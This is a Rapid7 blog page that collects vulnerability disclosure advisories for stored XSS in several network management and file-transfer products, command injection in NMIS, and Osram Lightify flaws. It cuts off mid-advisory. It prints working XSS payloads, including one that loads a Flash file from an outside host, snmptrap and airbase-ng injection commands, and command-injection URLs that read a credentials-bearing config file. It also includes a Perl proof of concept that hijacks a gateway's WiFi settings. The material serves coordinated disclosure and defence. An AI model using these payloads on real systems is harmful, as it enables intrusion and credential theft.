Rapid7 Blog

XSS  

R7-2017-06 | CVE-2017-5241: Biscom SFT XSS (FIXED)

Summary The Workspaces component of Biscom Secure File Transfer (SFT) version 5.1.1015 is vulnerable to stored cross-site scripting in two fields. An attacker would need to have the ability to create a Workspace and entice a victim to visit the malicious page in…

Summary The Workspaces component of Biscom Secure File Transfer (SFT) version 5.1.1015 is vulnerable to stored cross-site scripting in two fields. An attacker would need to have the ability to create a Workspace and entice a victim to visit the malicious page in order to run malicious Javascript in the context of the victim's browser. Since the victim is necessarily authenticated, this can allow the attacker to perform actions on the Biscom Secure File Transfer instance on the victim's behalf. Product Description Biscom Secure File Transfer (SFT) is a web-based solution that replaces insecure FTP and email, allowing end users to easily send and share files without IT involvement. More about the product is available on the vendor's web site. Credit These issues were discovered by Orlando Barrera II of Rapid7, Inc, and disclosed in accordance with Rapid7's vulnerability disclosure policy. Exploitation After authenticating to the Biscom Secure File Transfer web application, an attacker can alter the "Name" and "Description" fields of a Workspace, as shown in Figures 1, 2, and 3. In addition, the File Details component within a Workspace is also vulnerable to stored XSS injection. An attacker can save arbitrary Javascript in the "Description" field of the File Details pane of a file stored in a Workspace. Remediation As of version 5.1.1025, the issue has been resolved. Absent an update, a web application firewall (WAF) may prevent attackers from entering the malicious XSS, and/or protect users by stripping offending XSS. Vendor Response Security is the top priority for Biscom and we appreciate Rapid7 identifying this issue and bringing it to our attention.  Once we were informed, our team moved quickly to release a patch within a week to address the issue. Biscom is not aware of any customers being impacted by this issue and Biscom sees the likelihood as low since an authenticated user is required. Biscom values the sharing of security information and we thank Rapid7 in evaluating our application's security. Disclosure Timeline Biscom's response to this issue was exemplary, taking less than 30 days from private notification to a public fix, as seen in the timeline below. Thu, Mar 30, 2017: Discovered and reported by Orlando Barrera II Tue, Apr 04, 2017: Initial contact to the vendor Fri, Apr 07, 2017: Details disclosed to the vendor Thu, Apr 20, 2017: Disclosed to CERT/CC (VRF#17-04-VTJCJ) Wed, May 03, 2017: Fixed version 5.1.1025 provided by the vendor Wed, May 03, 2017: CVE-2017-5241 reserved by Rapid7 Tue, Jun 27, 2017: Public disclosure

R7-2016-24, OpenNMS Stored XSS via SNMP (CVE-2016-6555, CVE-2016-6556)

Stored server cross-site scripting (XSS) vulnerabilities in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). Authentication is not required to exploit. Credit This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7. Products Affected The following versions…

Stored server cross-site scripting (XSS) vulnerabilities in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). Authentication is not required to exploit. Credit This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7. Products Affected The following versions were tested and successfully exploited: OpenNMS version 18.0.0 OpenNMS version 18.0.1 OpenNMS version 18.0.2-1, released September 20, 2016, corrects the issues. Description Two cross-site scripting (XSS) vulnerabilities were identified in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). These vulnerabilities can allow an unauthenticated adversary to inject malicious content into the OpenNMS user's browser session. This could cause arbitrary code execution in an authenticated user's browser session and may be leveraged to conduct further attacks. The code has access to the authenticated user's cookies and would be capable of performing privileged operations in the web application as the authenticated user, allowing for a variety of attacks. R7-2016-24.1, XSS via SNMP Trap Alerts First, a stored (AKA Persistent or Type I) server XSS vulnerability exists due to insufficient filtering of SNMP trap supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software via an object in a malicious SNMP trap. Once the trap is processed it is stored as an event. OpenNMS's Trapd service processes SNMP trap data and accepts traps with any SNMP v1 or v2c community string. The affected software is capable of accepting traps from hosts registered or unknown to the system. Traps containing XSS payloads from hosts unknown to the system will execute when the user navigates to the events list page (http://host:8980/opennms/event/list). R7-2016-24.2, XSS via SNMP Agent Data Second, a stored server XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software during the SNMP data collection operation performed during a discovery scan. The malicious node utilizes an SNMP agent to supply the desired XSS payload in response to SNMP GetRequest messages for the sysName (1.3.6.1.2.1.1.5) and sysContact (1.3.6.1.2.1.1.4) object identifiers (OIDs). The XSS payload provided for both the sysName and sysContact objects will execute when the user navigates to the page for the malicious node (http://host:8980/opennms/element/node.jsp?node=<ID>) where ID is the malicious node ID). Exploitation XSS payloads can be injected into the OpenNMS web application via both SNMP traps and the SNMP agent. SNMP Trap The trap OID 1.3.6.1.4.1.43555 was used to send an SNMPv2 trap in which the trap variables contain the single object sysName (1.3.6.1.2.1.1.5) set to the XSS payload <IMG SRC=/ onerror="alert('SNMP Trap Test')"></IMG>. The attack trap was sent using the Net-SNMP snmptrap tool as follows: snmptrap -v2c -c public OpenNMS_Host '' 1.3.6.1.4.1.43555 SNMPv2-MIB::sysName \ s "<IMG SRC=/ onerror=\"alert('SNMP Trap Test')\"></IMG>" When the user navigates to the events list page, the XSS payload is returned in a response to the user's browser session and executed. An alert box is displayed that contains the string "SNMP Trap Test", as shown below. SNMP Agent A malicious node is operating an SNMP agent that returns the XSS payload <script>alert("sysNameTest");</script> for the sysName (1.3.6.1.2.1.1.5) OID and <IMG SRC=/ onerror=alert(/sysContactTest/) /> for the sysContact (1.3.6.1.2.1.1.4) OID. Once the discovery scan locates and scans the malicious node, the user clicks the Info > Nodes menu item and then clicks the link for the name of the malicious node <script>alert("sysNameTest");</script>. When the node page loads the XSS payloads are returned in a response to the user's browser session and the code is executed. An alert box is displayed that contains the string "sysNameTest", as shown below, followed by an alert box that contains the string "/sysContactTest/". Mitigations Users should update to version 18.0.2-1 to avoid these issues. Absent this fixed version, there is no practical way to use the SNMP functionality of the product in a safe and secure way. SNMP services should be disabled or blocked until this patch can be applied. Disclosure Timeline This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy. Sun, Aug 14, 2016: Discovered by Matthew Kienow Wed, Sep 07, 2016: Disclosed by the discoverer to Rapid7 Thu, Sep 08, 2016: Disclosed to vendor by Rapid7 at security@opennms.org Thu, Sep 08, 2016: Vendor acknowledged the issue as NMS-8722 Wed, Sep 14, 2016: Patch committed as PR#1019 Sun, Sep 20, 2016: Version 18.0.2-1 released Fri, Sep 23, 2016: Disclosed to CERT/CC Tue, Sep 27, 2016: CVE-2016-6555 and CVE-2016-6556 assigned by CERT/CC Tue, Nov 15, 2016: Disclosed to the public

Multiple Disclosures for Multiple Network Management Systems, Part 2

As you may recall, back in December Rapid7 disclosed six vulnerabilities that affect four different Network Management System (NMS) products, discovered by Deral Heiland of Rapid7 and independent researcher Matthew Kienow. In March, Deral followed up with another pair of vulnerabilities for another NMS. Today,…

As you may recall, back in December Rapid7 disclosed six vulnerabilities that affect four different Network Management System (NMS) products, discovered by Deral Heiland of Rapid7 and independent researcher Matthew Kienow. In March, Deral followed up with another pair of vulnerabilities for another NMS. Today, we're releasing a new disclosure that covers 11 issues across four vendors. As is our custom, these were all reported to vendors and CERT for coordinated disclosure. While this disclosure covers a wide range of vulnerabilities discovered (and fixed), the theme of injecting malicious data via SNMP to ultimately gain control of NMS web console browser windows became overwhelming obvious, and deserving of a more in-depth look. To that end, today, Rapid7 would like to offer a complete research report on the subject. From Managed to Mangled: SNMP Exploits for Network Management Systems by Deral, Matthew, and yours truly is available for download here, and we'd love to hear your feedback on this technique in the comments below. We'll all be at DerbyCon as well, and since Matthew and Deral be presenting these findings on Saturday, September 24th, 2016, it will be a fine time to chat about this. Incidentally, we're quite pleased that every one of these vendors have issued patches to address these issues well before our planned disclosure today. All acted reasonably and responsibly to ensure their customers and users are protected against this technique, and we're confident that going forward, NMSs will do a much better job of inspecting and sanitizing machine-supplied, as well as user-supplied, input. With that, let's get on with the disclosing! Rapid7 Identifier CVE Identifier Class Vendor Patched R7-2016-11.1 CVE-2016-5073 XSS CloudView Version 2.10a R7-2016-11.2 CVE-2016-5073 XSS Cloudview Version 2.10a R7-2016-11.3 CVE-2016-5074 Format String Cloudview Version 2.10a R7-2016-11.4 CVE-2016-5075 XSS Cloudview Version 2.10a R7-2016-11.5 CVE-2016-5076 DOA Cloudview Version 2.10a R7-2016-12 CVE-2016-5077 XSS Netikus Version 3.2.1.44 R7-2016-13 CVE-2016-5078 XSS Paessler Version 16.2.24.4045 R7-2016-14.1 CVE-2016-5642 XSS Opmantek Versions 8.5.12G R7-2016-14.2 CVE-2016-5642 XSS Opmantek Versions 8.5.12G, 4.3.7c R7-2016-14.3 CVE-2016-5642 XSS Opmantek Versions 8.5.12G, 4.3.7c R7-2016-14.4 CVE-2016-6534 Cmd Injection Opmantek Versions 8.5.12G, 4.3.7c R7-2016-11: Multiple Issues in CloudView NMS CloudView NMS versions 2.07b and 2.09b is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability over SNMP agent responses and SNMP trap messages, a format string vulnerability in processing SNMP agent responses, a format string vulnerability via telnet login, and an insecure direct object reference issue. These issues were resolved in version 2.10a, available from the vendor. None of these issues require any prior authentication to exploit. These issues were discovered by Deral Heiland of Rapid7, Inc. R7-2016-11.1: XSS via SNMP Agent Responses (CVE-2016-5073) While examining the Network Management System (NMS) software Cloudview NMS, it was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within CloudView's web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the systems configuration, compromise data, take control of the product or launch attacks against the authenticated users hosts system. The first persistent XSS vulnerability is delivered via the network SNMP discovery process. If the network device that is discovered, during the discovery process, is configured with SNMP and the SNMP OID object sysDescr 1.3.6.1.2.1.1.1 contain HTML or JavaScript code within that field and the discovered device is imported into the database, then code will be delivered to the product for persistent display and execution. The following example shows the results of discovering a network device where the SNMP sysDescr has been set to: <SCRIPT>alert("XSS-sysDescr")<SCRIPT> In this example, when device is viewed within web console "Device List screen" the JavaScript executes, rendering an alert box within the authenticated users web browser. R7-2016-11.2: XSS via SNMP Trap Messages (CVE-2016-5073) The second method of injection involves SNMP trap messages. The CloudView product allows unsolicited traps, which are stored within the logs. A malicious actor can inject HTML and JavaScript code into the product via SNMP trap message. When the SNMP trap message information is viewed the code will execute within the context of the authenticated user. Figure 2 shows an example attack where a trap message was used with the HTML code <embed src=//ld1.us/4.swf> to embed flash into the CloudView web console. R7-2015-11.3: Format String Vulnerability via SNMP (CVE-2016-5074) Cloudview NMS was also discovered to be vulnerable to a format string vulnerability. This vulnerability allows a malicious actor to inject format string specifiers into the product via the SNMP sysDescr field. If successfully exploited, this could allow a malicious actor to execute code or trigger a denial of service condition within the application. The following Ollydbg screen shot (Figure 3) shows a series of %x that were used within the SNMP sysDescr field of a discovered device to enumerate the stack data from the main process stack and trigger a access violation with %s. R7-2015-11.4: XSS via Telnet Login (CVE-2016-5075) A third method was discovered for injecting persistent XSS in the username field of the Remote CLI telnet on port TCP 3082. A malicious actor with network access to this port could inject Javascript or HTML code into the event logs using failed login attempts as shown below: R7-2015-11.5: Direct Object Access (CVE-2016-5076) During testing it was also discovered that access to file within the Windows file systems where accessible without proper authentication. This allowed for full file system access on the Windows 2008 server systems running the product. In the following example, the URL http://192.168.2.72/MPR=:/server_rootC:/CloudView/data/admin/auto.def was used to retrieve the configuration file "auto.def" on the server without authentication. Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Mon, May 23, 2016 : Vendor responded with security contact Mon, May 23, 2016 : Details provided to vendor security contact Sun, Jun 05, 2016: Version 2.10a published by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5073, CVE-2016-5074, CVE-2016-5075, CVE-2016-5076 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-12: XSS via SNMP Trap Messages in Netikus EventSentry (CVE-2016-5077) Netikus EventSentry NMS versions 3.2.1.8, 3.2.1.22, and 3.2.1.30 are vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This issue was fixed in version 3.2.1.44, available from the vendor. This issue does not require any prior authentication to exploit. This issue was discovered by Deral Heiland of Rapid7, Inc. Exploitation While examining the Network Management System (NMS) software EventSentry, It was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within EventSentry's web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the systems configuration, compromise data, take control of the product or launch attacks against the authenticated user's host system. This injection was conducted using unsolicited SNMP trap messages, which are stored within the SNMP logs on EventSentry. A malicious actor can inject HTML and JavaScript code into the product via SNMP trap message. When the SNMP trap message information is viewed, the code will execute within the context of the authenticated user. By using the following snmptrap command, it was possible to inject the following HTML code <embed src=//ld1.us/ 4.swf> to embed flash into the EventSentry web console SNMP logs: snmptrap -v 1 -c public 192.168.2.72 '1' '192.168.2.68' 6 99 '55' 1 s "<embed src=//ld1.us/4.swf>" Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Mon, May 23, 2016 : Vendor responded with security contact Mon, May 23, 2016 : Details provided to vendor security contact Fri, May 27, 2016: Version 3.2.1.44 published by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5077 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-13: XSS via SNMP in Paessler PRTG (CVE-2016-5078) Paessler PRTG NMS version 16.2.24.3791 is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This issue does not require any prior authentication to exploit, and was fixed in version 16.2.24.4045, available from the vendor. This issue was discovered by Deral Heiland of Rapid7, Inc. Exploitation While examining the Network Management System (NMS) software PRTG, it was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within PRTG's Network Monitor web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the system configuration, compromise data, take control of the product or launch attacks against the authenticated user's host system. The persistent XSS vulnerability is delivered via the network SNMP discovery process of a device. If the network device that is discovered contains JavaScript or HTML code specified as the following SNMP OID objects, then the code will be rendered within the context of the authenticated user who views the “System Information” web page of the discovered device. sysDescr 1.3.6.1.2.1.1.1.0 sysLocation 1.3.6.1.2.1.1.6.0 sysContact 1.3.6.1.2.1.1.4.0 The following example shows the results of discovering a network device where the SNMP sysDescr has been set to <embed src=//ld1.us/4.swf>. In this example, when a device's "System Information" web page is viewed in the web console, the HTML code will download and render the Flash file in the authenticated users web browser. Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Tue, May 24, 2016 : Vendor responded with security contact Tue, May 24, 2016 : Details provided to vendor security contact Mon, Jun 06, 2016: Version 16.2.24.4045/4046 released by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5078 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-14: Multiple Issues in Opmantek NMIS Opmantek NMIS NMS versions 8.5.10G and 4.3.6f are vulnerable to a persistent Cross Site Scripting (XSS) vulnerability over SNMP agent responses and SNMP trap messages, a reflected XSS vulnerability over SNMP agent responses, and a command injection vulnerability. These issues were fixed in versions 8.5.12G and 4.3.7c, available from the vendor. All three of the XSS attack methods allow an unauthenticated adversary to inject malicious content into the user's browser session. This could cause arbitrary code execution in an authenticated user's browser session and may be leveraged to conduct further attacks. The code has access to the authenticated user's cookies and would be capable of performing privileged operations in the web application as the authenticated user, allowing for a variety of attacks. These issues were discovered by independent researcher Matthew Kienow. Note that all three XSS vectors have been assigned the same CVE identifier. R7-2016-14.1, XSS Injection via SNMP Trap Messages (CVE-2016-5642) First, a stored (AKA Persistent or Type I) server XSS vulnerability exists due to insufficient filtering of SNMP trap supplies data before the affected software stores and displays the data. Traps that will be processed by NMIS version 8.x depend on the configuration of snmptrapd, the Net-SNMP trap notification receiver. This component may be configured to accept all incoming notifications or may be constrained by defined access control. In the latter case, the adversary must determine the SNMP authorization credentials before launching the attack. Note that NMIS version 4.x does not have the capability of inspecting trap messages, so is unaffected by this issue. The example configuration for Net-SNMP's snmptrapd /install/snmptrapd.conf, which ships with NMIS, contains the line "disableAuthorization yes." This directive disables access control checks and accepts all incoming notifications. The affected software is capable of accepting traps from hosts registered or unknown to the system. The stored XSS payload is delivered to the affected software via an object in the malicious SNMP trap. Once the trap is processed it is stored in the SNMP Traps Log. The XSS payload will execute when the user navigates to the SNMP Traps Log widget by clicking on the Service Desk > Logs > Log List menu item, and then clicking the SNMP_Traps link in the List of Available Logs window that appears. The user may also navigate to the non-widget SNMP Traps Log page at http://host:port/cgi-nmis8/logs.pl?conf=Config.nmis&act=log_file_view&logname=SN MP_Traps&widget=false. R7-2016-14.2, XSS Injection via SNMP Agent Responses (CVE-2016-5642) Second, a stored server XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software during the SNMP data collect operation performed when adding and updating a node. The malicious node utilizes an SNMP agent to supply the desired XSS payload in response to SNMP GetRequest messages for the sysDescr (1.3.6.1.2.1.1.1), sysContact (1.3.6.1.2.1.1.4) and sysLocation (1.3.6.1.2.1.1.6) object identifiers (OIDs). The XSS payload provided for the sysDescr object will execute when the add and update node operation is complete and the results are displayed. The XSS payload provided for the sysLocation object will execute when the user clicks the Network Status > Network Metrics and Health menu item and then clicks on the link for the malicious node's group. After the Node List and Status window appears, if the user clicks on the link for the malicious node the XSS payload for the sysLocation, sysContact and sysDescr objects execute before the Node Details window appears. If the user keeps the malicious node's Node Details window open it updates at a set interval causing all three XSS payloads to execute repeatedly. R7-2016-14.3, Reflected XSS Injection via SNMP Agent Responses (CVE-2016-5642) Third, a reflected (AKA Non-Persistent or Type II) client XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software displays the data. The reflected XSS payload is delivered to the affected software during the SNMP Tool walk operation. Any XSS payloads contained in walked OIDs will execute when the results are displayed. Note, the SNMP Tool is not available in NMIS version 4.3.6f. R7-2016-14.4, Web Application Command Injection Finally, a command injection vulnerability in the web application component of Opmantek Network Management Information System (NMIS) exists due to insufficient input validation. In NMIS version 8.5.10G the command injection vulnerability exists in the tools.pl CGI script via the "node" parameter when the "act" parameter is set to "tool_system_finger". The user must be authenticated and granted the tls_finger permission, which does not appear to be enabled by default. However, the software is vulnerable if the tls_finger permission is granted to the authenticated user in the /conf/Access.nmis file. A sample tls_finger permission is defined as follows: 'tls_finger' => { 'descr' => 'Permit Access tool finger', 'group' => 'access', 'level0' => '1', 'level1' => '0', 'level2' => '1', 'level3' => '1', 'level4' => '1', 'level5' => '0', 'name' => 'tls_finger' } In NMIS version 4.3.6f the command injection vulnerability exists in the admin.pl CGI script via the "node" parameter when the "admin" parameter is set to either "man", "finger", "ping", "trace" or "nslookup". This is exploitable without authentication in the default configuration, since NMIS authentication is not required by default as specified in the /conf/nmis.conf file. #authentication stuff # # set this to true to require authentication (default=false) auth_require=false NMIS version 8.5.10G Exploitation An authenticated user that has been granted the tls_finger permission requests the URL http://host:port/cgi-nmis8/tools.pl?conf=Config.nmis&act=tool_system_finger&node =;cat /usr/local/nmis8/conf/Config.nmis to dump the NMIS configuration file, as shown below. The config file contains cleartext usernames and passwords for the outgoing notification mail server and NMIS database server, as shown below. NMIS version 4.3.6f Exploitation An unauthenticated individual with access to the NMIS server requests the URL http://host:port/cgi-nmis4/admin.pl?admin=finger&node=;whoami to output the user name associated with the effective user ID of the web server process, as shown below. Disclosure Timeline Wed, Jun 01, 2016 : Initial contact to vendor Thu, Jun 02, 2016 : Vendor responded with security contact Thu, Jun 02, 2016 : Details provided to vendor security contact Mon, Jun 13, 2016: Versions 4.3.7c and NMIS 8.5.12G released by the vendor Wed, Jun 22, 2016 : Disclosed to CERT, tracked as VR-228 Wed, Jun 22, 2016: CVE-2016-5642 assigned by CERT Tue, Sep 06, 2016: CVE-2016-6534 assigned by CERT Wed, Sep 07, 2016: Public disclosure More Information for All Issues All of these described issues have been fixed by their respective vendors, so users are encouraged to update to the latest versions. For a more in-depth exploration of the SNMP-vectored issues, readers are encourage to download the accompanying paper, From Managed to Mangled: SNMP Exploits for Network Management Systems.

R7-2016-19: Persistent XSS via Unescaped Parameters in Swagger-UI (CVE-2016-5682)

Parameters within a Swagger document are insecurely loaded into a browser based documentation. Persistent XSS occurs when this documentation is then hosted together on a public site. This issue was resolved in Swagger-UI 2.2.1. Summary One of the components used to build the…

Parameters within a Swagger document are insecurely loaded into a browser based documentation. Persistent XSS occurs when this documentation is then hosted together on a public site. This issue was resolved in Swagger-UI 2.2.1. Summary One of the components used to build the interactive documentation portion of the swagger ecosystem is the Swagger-UI. This interface generates dynamic documentation based on a referenced Swagger document that can interact with the referenced API.  If the swagger document itself contains XSS payloads, the swagger-ui component can be tricked into injecting unescaped content into the DOM. Product Description From the README at https://github.com/swagger-api/swagger-ui "Swagger UI is part of the Swagger project. The Swagger project allows you to produce, visualize and consume your own RESTful services. No proxy or 3rd party services required. Do it your own way. Swagger UI is a dependency-free collection of HTML, Javascript, and CSS assets that dynamically generate beautiful documentation and sandbox from a Swagger-compliant API. Because Swagger UI has no dependencies, you can host it in any server environment, or on your local machine." The swagger UI will parse a chosen swagger file, and generate dynamic colorful documentation that enables users to interact with a RESTful API. Credit Scott Lee Davis, scott_davis@rapid7.com, Application Security Researcher, Rapid7 Exploitation If a swagger file contained in the definitions section, a default value with an XSS payload can be loaded unescaped into the DOM. Definitions   Type: string   Description: prints xss   Default: <script>console.log(‘000000000000000000dad0000000000000000000');</script> Mitigations Sanitation of HTML content should be done by an engine built for the job.  The swagger-ui team chose to solve this issue with the npm module santize-html. Disclosure Timeline This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy. Thu, Jun 09, 2016: Discovery by Scott Lee Davis of Rapid7, Inc. Fri, Jun 17, 2016: Attempted to contact the vendor Mon, Jul 11, 2016: Disclosed details to the vendor at security@swagger.io Wed, Jul 27, 2016: Disclosed details to CERT as VR-316 Tue, Aug 09, 2016: CVE-2016-5682 assigned by CERT Tue, Aug 23, 2016: Fixed in Swagger-UI 2.2.1 Fri, Sep 02, 2016: Public disclosure

R7-2016-10: Multiple OSRAM SYLVANIA Osram Lightify Vulnerabilities (CVE-2016-5051 through 5059)

Nine issues affecting the Home or Pro versions of Osram LIGHTIFY were discovered, with the practical exploitation effects ranging from the accidental disclosure of sensitive network configuration information, to persistent cross-site scripting (XSS) on the web management console, to operational command execution on the devices…

Nine issues affecting the Home or Pro versions of Osram LIGHTIFY were discovered, with the practical exploitation effects ranging from the accidental disclosure of sensitive network configuration information, to persistent cross-site scripting (XSS) on the web management console, to operational command execution on the devices themselves without authentication. The issues are designated in the table below. At the time of this disclosure's publication, the vendor has indicated that all but the lack of SSL pinning and the issues related to ZigBee rekeying have been addressed in the latest patch set. Description Status Platform R7 ID CVE Cleartext WPA2 PSK Fixed Home R7-2016-10.1 CVE-2016-5051 Lack of SSL Pinning Unfixed Home R7-2016-10.2 CVE-2016-5052 Pre-Authentication Command Execution Fixed Home R7-2016-10.3 CVE-2016-5053 ZigBee Network Command Replay Unfixed Home R7-2016-10.4 CVE-2016-5054 Web Management Console Persistent XSS Fixed Pro R7-2016-10.5 CVE-2016-5055 Weak Default WPA2 PSKs Fixed Pro R7-2016-10.6 CVE-2016-5056 Lack of SSL Pinning Unfixed Pro R7-2016-10.7 CVE-2016-5057 ZigBee Network Command Replay Unfixed Pro R7-2016-10.8 CVE-2016-5058 Cached Screenshot Information Leak Fixed Pro R7-2016-10.9 CVE-2016-5059 Product Description According to the vendor's January, 2015 press release, Osram LIGHTIFY provides "a portfolio of cost-effective indoor and outdoor lighting products that can be controlled and automated via an app on your mobile device to help you save energy, enhance comfort, personalize your environment, and experience joy and fun." It is used for both residential and commercial customers, using either the Home and Pro versions, respectively. As a "smart lighting" offering, Osram LIGHTIFY is part of the Internet of Things (IoT) landscape, and is compatible with other ZigBee based automation solutions. Credit These issues were discovered by Deral Heiland, Research Lead at Rapid7, Inc., and this advisory was prepared in accordance with Rapid7's disclosure policy. Exploitation and Mitigation R7-2016-10.1: Cleartext WPA2 PSK (Home) (CVE-2016-5051) Examination of the mobile application for LIGHTIFY Home, running on an iPad revealed the WiFi WPA pre-shared key (PSK) of the user's home WiFi as stored in cleartext in the file, /private/var/mobile/Containers/Data/Application/F1D60C51-6DF5-4AAE-9DB1- 40ECBDBDF692/Library/Preferences//com.osram.lightify.home.plist. Examining this file reveals the cleartext string as shown in Figure 1: If the device is lost or stolen, an attacker could extract this data from the file. Mitigation for R7-2016-10.1 A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information, such as WiFi PSKs and passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires authentication. Absent a vendor-supplied patch, users should avoid connecting the product to a network that is intended to be hidden or restricted. In cases where this is undesirable, users should ensure that the mobile device is configured for full-disk encryption (FDE) and require at least a password on first boot. R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052) Examination of the mobile application reveals that SSL pinning is not in use. By not implementing SSL pinning, it is possible for an attacker to conduct a Man-in-the-Middle (MitM) attack, ultimately exposing SSL-encrypted traffic to the successful attacker for inspection and manipulation. Mitigation for R7-2016-10.2 A vendor-supplied patch should configure the mobile application to use SSL pinning. Absent a vendor-supplied patch, users should avoid using the mobile application in potentially hostile networks. R7-2016-10.3: Pre-Authentication Command Execution (Home) (CVE-2016-5053) Examination of the network services on the gateway shows that port 4000/TCP is used for local control when Internet services are down, and no authentication is required to pass commands to this TCP port. With this access, an unauthenticated actor can execute commands to change lighting, and also execute commands to reconfigure the devices. The following Perl script proof of concept code can be used to reconfigure a vulnerable device's primary WiFi connection, causing it to reconnect to an attacker-supplied WiFi network. #!/usr/bin/perl # POC to change SSID setting on OSRAM LIGHTIFY GATEWAY # Deral Heiland, Rapid7, Inc. use IO::Socket; if ($#ARGV != 2) { print " You are missing needed Arguments\n"; print "Usage: lightify_SSID_changer.pl TargetIP SSID WPA_PSK \n"; exit(1); } # Input variables my $IP = $ARGV[0]; my $SSID = $ARGV[1]; my $WPAPSK = $ARGV[2]; # Set up TCP socket $socket = new IO::Socket::INET ( PeerAddr => $IP, PeerPort => 4000, Proto => TCP, ) or die "Couldn't connect to Target\n"; #Set up data to send to port 4000 $data1 = "\x83\x00\x00\xe3\x03\x00\x00\x00\x01"; $data2 = pack('a33',"$SSID"); $data3 = pack('a69',"$WPAPSK"); $data4 = "\x04\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; $send_data = join "", $data1, $data2, $data3, $data4; #send data to port 4000 $socket->send($send_data); close $socket; exit; Mitigation for R7-2016-10.3 A vendor-supplied patch should implement and enforce authentication on the gateway's 4000/TCP interface. Absent a vendor-supplied patch, users should not deploy the gateway in a network environment used by potentially malicious actors. R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054) Examination of the ZigBee home automation communication reveals that no rekeying of the Zigbee secure communication takes place after the initial pairing of the ZigBee-enabled end nodes (the light components of the system). Due to this lack of routine rekeying, it is possible for a malicious actor to capture and replay the Zigbee communication at any time, and replay those commands to disrupt lighting services without any other form of authentication. Mitigation for R7-2016-10.4 Current Zigbee Home Automation Protocol Standard suffers from vulnerabilities preventing the ability to proper secure the Zigbee Home Automation protocol. The solution to resolving these inherent security flaws require fixing of the core protocol, which is under the control of the Zigbee alliance (http://www.zigbee.org/) Absent corrections of the Zigbee Home Automation protocol, users should not deploy the lighting components in a network environment used by potentially malicious actors. R7-2016-10.5: Web Management Console Persistent XSS (Pro) (CVE-2016-5055) The installed web management console, which runs on ports 80/TCP and 443/TCP, is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within the Pro web management interface. When this data is viewed within the web console, the injected code will execute within the context of the authenticated user. As a result, a malicious actor can inject code which could modify the system configuration, exfiltrate or alter stored data, or take control of the product in order to launch browser-based attacks against the authenticated user's workstation. The first example of this flaw was found by injecting persistent XSS into the security logs via the username field during the basic authentication sequence, as shown below in Figure 2. Anything entered in the "User Name" field gets written to the security logs without sanitization. When these logs are reviewed, the JavaScript is rendered and executed by the victim's browser. Figure 3 demonstrates an alert box run in this way. The second example of this flaw was found by injecting XSS into the Wireless Client Mode configuration page. This was accomplished using a rogue access point to broadcast an SSID containing the XSS payload. Using the following airbase-ng command, it is possible to broadcast the XSS payload as an SSID name. bash airbase-ng -e '</script><embed src=//ld1.us/4.swf>' -c 9 wlan0mon When the SSID of </script><embed src=//ld1.us/4.swf> is displayed on the Wireless Client Mode configuration page, the referenced Flash file is downloaded and run in the context of the authenticated user. This is shown in Figure 4. Mitigation for R7-2016-10.5 A vendor supplied patch should enforce that all data should be filtered and special characters such as > and < should be properly escaped before being displayed by the web management console. Absent a vendor-supplied patch, users should not deploy the web management console in a network environment used by potentially malicious actors. R7-2016-10.6: Weak Default WPA2 PSKs (Pro) (CVE-2016-5056) Weak default WPA2 pre-shared keys (PSKs) were identified on the devices examined, which used an eight character PSK using only the characters from the set "0123456789abcdef". This extremely small keyspace of limited characters and a fixed, short length makes it possible to crack a captured WPA2 authentication handshake in less than 6 hours, leading to remote access to the cleartext WPA2 PSK. Figure 5 shows the statistics of cracking the WPA2 PSK on one device in 5 hours and 57 minutes. A second device's WPA2 PSK was cracked in just 2 hours and 42 minutes, as shown in Figure 6: Mitigation for R7-2016-10.6 A vendor-supplied patch should implement a longer default PSKs utilizing a larger keyspace that includes both uppercase and lowercase alphanumeric characters and punctuation, since these keys are not typically intended to be remembered by humans. Absent a vendor-supplied patch, users should set their own PSKs with the above advice, and not rely on the shipped defaults by the vendor. R7-2016-10.7: Lack of 